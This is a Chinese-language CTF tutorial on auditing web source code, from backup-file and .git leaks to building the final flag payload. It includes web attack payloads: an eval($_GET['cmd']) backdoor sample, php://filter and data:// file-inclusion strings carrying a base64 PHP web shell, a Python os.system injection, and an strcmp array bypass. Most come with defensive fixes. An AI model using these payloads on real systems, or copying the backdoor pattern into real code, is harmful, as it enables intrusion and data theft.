CTF Web 源码审计 5 步法:从备份文件泄露到 Flag 构造实战
📅 2026/7/12 2:57:39
👁️ 阅读次数
📝 编程学习
CTF Web 源码审计 5 步法:从备份文件泄露到 Flag 构造实战
在CTF竞赛中,Web类题目往往是最容易上手但也最考验综合能力的赛道。不同于二进制逆向或密码学需要深厚的理论基础,Web安全更注重实战中的漏洞嗅觉和快速验证能力。本文将系统化拆解一套经过数十场赛事验证的源码审计方法论,从信息收集到Payload构造形成完整闭环,帮助你在下一场比赛中快速定位突破口。
1. 信息收集:挖掘源码的四种黄金路径
源码审计的第一步永远是尽可能获取更多代码。以下是实战中最有效的四种源码获取方式:
1.1 备份文件泄露:开发者的习惯性陷阱
# 常见备份文件后缀扫描 dirsearch -u http://target.com -e .bak,.swp,.old,.temp,.zip,.tar.gz典型场景:
.index.php.swp(vim交换文件)wwwroot.zip(全站压缩备份)config.php.bak(配置文件备份)
注意:部分CTF题目会故意修改备份文件后缀,建议结合字典爆破
1.2 版本控制泄露:Git/SVN的元数据隐患
# Git仓库探测 curl -s http://target.com/.git/HEAD | grep -q 'ref:' && echo "Git found"利用工具对比:
| 工具名称 | 适用场景 | 优势 |
|---|---|---|
| GitHack | .git目录完整泄露 | 自动重建完整项目 |
| DVCS-Ripper | 多版本控制系统支持 | 支持SVN/Hg等 |
| GitTools | 部分文件恢复 | 可处理残缺git目录 |
1.3 注释审计:被忽视的线索宝库
PHP示例代码中的危险注释:
// TODO: Remove debug function before production eval($_GET['cmd']); /* * Temporary admin login: * admin:Admin@123 */审计技巧:
- 搜索
TODO/FIXME等关键字 - 检查HTML源码中的
- 关注函数头的参数说明
1.4 非常规入口:API文档与测试接口
GET /swagger-ui.html HTTP/1.1 Host: target.com常见隐藏入口:
/phpinfo.php(服务器配置泄露)/test/api_docs(接口文档)/console(开发控制台)
2. 敏感函数定位:快速锁定漏洞点
获得源码后,需要通过关键函数快速定位潜在漏洞。不同语言的风险函数各有特征:
2.1 PHP危险函数清单
代码执行类:
eval(), assert(), system(), preg_replace(/e)文件操作类:
file_get_contents(), include(), fopen()数据库操作类:
mysqli_query(), PDO::prepare()2.2 Java常见风险点
// 反序列化漏洞 ObjectInputStream.readObject() // 表达式注入 SpELParser.parseExpression()2.3 Python需警惕的用法
# 命令注入 os.system(input()) # 模板注入 flask.render_template_string(request.args.get('tmpl'))自动化扫描建议:
- 使用
graudit进行源码静态分析 - 配合正则表达式自定义规则:
/(eval\(|system\()\s*?\$_(GET|POST|REQUEST)/
3. 变量追踪:理解数据流的三种方法
找到危险函数只是开始,更需要理清用户输入如何传递到这些函数:
3.1 正向追踪法
从入口点开始追踪数据流:
$_GET['id'] → $user_input → SQL查询3.2 反向追踪法
从危险函数回溯:
os.system() ← get_input() ← request.args3.3 关键节点标记
在代码中标记数据处理关键节点:
- 输入过滤点
- 类型转换点
- 最终执行点
典型漏洞链示例:
用户输入 → 弱类型比较 → 认证绕过 → 文件包含4. 漏洞利用:五种高频攻击模式
4.1 变量覆盖漏洞
// 原代码 $flag = "fake_flag"; extract($_GET); // 利用方式 ?flag=real_flag防御方案:
- 使用
array_merge代替extract - 设置
extract_type为EXTR_SKIP
4.2 弱类型比较陷阱
if ($_POST['password'] == md5($real_password)) { // 可被 0e开头的哈希绕过 }安全比较方案:
hash_equals($stored_hash, $input_hash)4.3 反序列化漏洞
Java示例:
ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(base64.decode(payload))); ois.readObject(); // 触发反序列化防护建议:
- 使用JSON替代序列化
- 实现
readObject时进行校验
4.4 文件包含技巧
include($_GET['page'] . '.php');利用方式:
?page=php://filter/convert.base64-encode/resource=config ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk74.5 代码注入的变形艺术
# 原代码 eval("print('Hello ' + name)") # 注入方式 name="');os.system('ls');#"沙箱逃逸技巧:
- 利用
__import__导入模块 - 通过
getattr获取危险函数
5. Flag构造:从理论到实战的完整案例
5.1 真实赛题复现
题目背景:
- 提供网站源码zip包
- 首页存在登录功能
- 提示flag在/flag.php
审计过程:
- 发现
login.php使用strcmp比较密码 - 构造数组绕过:
password[]=admin - 获取源码后发现文件包含漏洞
- 通过
php://filter读取flag.php
最终Payload:
POST /login.php HTTP/1.1 ... username=admin&password[]=admin GET /include.php?file=php://filter/convert.base64-encode/resource=flag.php5.2 防御方案对比
| 漏洞类型 | 错误实现 | 正确方案 |
|---|---|---|
| SQL注入 | 直接拼接查询 | PDO预处理 |
| XSS | 直接输出用户输入 | htmlspecialchars过滤 |
| 文件上传 | 仅检查Content-Type | 文件头校验+随机文件名 |
| 命令注入 | 直接拼接命令 | 白名单校验+参数化执行 |
在CTF竞赛中,Web安全既是入门的最佳路径,也是检验综合能力的试金石。通过系统化的源码审计方法,即使是复杂的题目也能快速分解为可控的步骤。记住,每个漏洞背后都是开发者的思维盲点,而你的任务就是成为那个发现盲点的"思维黑客"。
编程学习
技术分享
实战经验